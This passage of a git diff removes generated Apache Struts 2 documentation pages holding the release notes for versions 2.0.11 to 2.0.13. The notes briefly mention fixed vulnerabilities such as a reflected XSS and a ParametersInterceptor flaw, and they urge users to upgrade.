-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/">Source Code Repository (includes change browsing)</a></li></ul>
-
-
-<h2 id="ReleaseNotes2.0.11-ReleasePlan">Release Plan</h2>
-
-<ul><li>Struts 2.0.11 is a milestone version in the 2.0.x series. Struts 2.0.9 is the prior GA release.</li><li>The Release Managers are James Holmes and Ted Husted.</li><li>The tag date for the release is 21 Sep 2007.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-20111.html b/content/docs/release-notes-20111.html
deleted file mode 100644
index 0b3e1a4..0000000
--- a/content/docs/release-notes-20111.html
+++ /dev/null
@@ -1,163 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.11.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-20111.html">Release Notes 2.0.11.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.11.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=78320">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=78320">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=78320">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=78320">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=78320">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=78320">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.11.1 distribution.</p>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Struts 2.0.11.1 corrected two serious security flaws in the Struts 2 &lt;s:url&gt; and &lt;s:a&gt; tags where a missing URL encoding handling for &lt;script&gt; HTML tag can lead to a reflected XSS (cross site scripting) exploit. All users are strongly encouraged to up [...]
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-2011.html">Release Notes 2.0.11</a></p>
-
-<h2 id="ReleaseNotes2.0.11.1-Changelog">Changelog</h2>
-
-<h3 id="ReleaseNotes2.0.11.1-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21880">JIRA Release Notes 2.0.11.1 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21860">JIRA Release Notes 2.0.11 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNot [...]
-
-
-<h3 id="ReleaseNotes2.0.11.1-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10881">Struts 2.0.11.1 DONE </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.11.1-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/">Source Code Repository (includes change browsing)</a></li></ul>
-
-
-<h2 id="ReleaseNotes2.0.11.1-ReleasePlan">Release Plan</h2>
-
-<ul><li>Struts 2.0.11.1 is a security fix for the prior Struts 2.0.11 GA release.</li><li>The Release Manager is Rene Gielen.</li><li>The tag date for the release is 02 Mar 2008.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-20112.html b/content/docs/release-notes-20112.html
deleted file mode 100644
index 5b37343..0000000
--- a/content/docs/release-notes-20112.html
+++ /dev/null
@@ -1,163 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.11.2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-20112.html">Release Notes 2.0.11.2</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.11.2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=88908">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=88908">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=88908">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=88908">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=88908">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=88908">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.11.2 distribution.</p>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Struts 2.0.11.2 comes with a security fixed version 2.0.5 of XWork, which corrects a serious vulnerability in ParametersInterceptor allowing malicious users to remotely change server side context objects. All users are strongly encouraged to upgrade to Struts 2.0.11.2.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-20111.html">Release Notes 2.0.11.1</a></p>
-
-<h2 id="ReleaseNotes2.0.11.2-Changelog">Changelog</h2>
-
-<h3 id="ReleaseNotes2.0.11.2-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21893">JIRA Release Notes 2.0.11.2 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21880">JIRA Release Notes 2.0.11.1 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseN [...]
-
-
-<h3 id="ReleaseNotes2.0.11.2-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10907">Struts 2.0.11.2 DONE </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.11.2-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/">Source Code Repository (includes change browsing)</a></li></ul>
-
-
-<h2 id="ReleaseNotes2.0.11.2-ReleasePlan">Release Plan</h2>
-
-<ul><li>Struts 2.0.11.2 is a security fix for the prior Struts 2.0.11.1 GA release.</li><li>The Release Manager is Rene Gielen.</li><li>The tag date for the release is 23 Jun 2008.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-2012.html b/content/docs/release-notes-2012.html
deleted file mode 100644
index 3ae008c..0000000
--- a/content/docs/release-notes-2012.html
+++ /dev/null
@@ -1,167 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.12</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-2012.html">Release Notes 2.0.12</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.12</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=99579">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=99579">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=99579">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=99579">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=99579">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=99579">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.12 distribution.</p>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Struts 2.0.12 provides important security and bug fixes. Among others, it corrects two serious vulnerabilities:</p>
-<ul><li>in ParametersInterceptor allowing malicious users to remotely change server side context objects - <a shape="rect" href="s2-003.html">S2-003</a></li><li>in FilterDispatcher allowing read access to server filesystem resources in certain application server environments - <a shape="rect" href="s2-004.html">S2-004</a></li></ul>
-
-
-<p>All users are strongly encouraged to upgrade to Struts 2.0.12.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-20112.html">Release Notes 2.0.11.2</a></p>
-
-<h2 id="ReleaseNotes2.0.12-Changelog">Changelog</h2>
-
-<h3 id="ReleaseNotes2.0.12-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21870">JIRA Release Notes 2.0.12 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21893">JIRA Release Notes 2.0.11.2 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNot [...]
-
-
-<h3 id="ReleaseNotes2.0.12-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10931">Struts 2.0.12 DONE </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.12-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/">Source Code Repository (includes change browsing)</a></li></ul>
-
-
-<h2 id="ReleaseNotes2.0.12-ReleasePlan">Release Plan</h2>
-
-<ul><li>Struts 2.0.12 is a security and bug fix release for the prior Struts 2.0.11.2 GA release.</li><li>The Release Manager is Rene Gielen.</li><li>The tag date for the release is 16 Oct 2008.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-2013.html b/content/docs/release-notes-2013.html
deleted file mode 100644
index 5f49362..0000000
--- a/content/docs/release-notes-2013.html
+++ /dev/null
@@ -1,165 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.13</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-2013.html">Release Notes 2.0.13</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.13</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=100449">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=100449">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=100449">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=100449">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=100449">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=100449">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.13 distribution.</p>
-
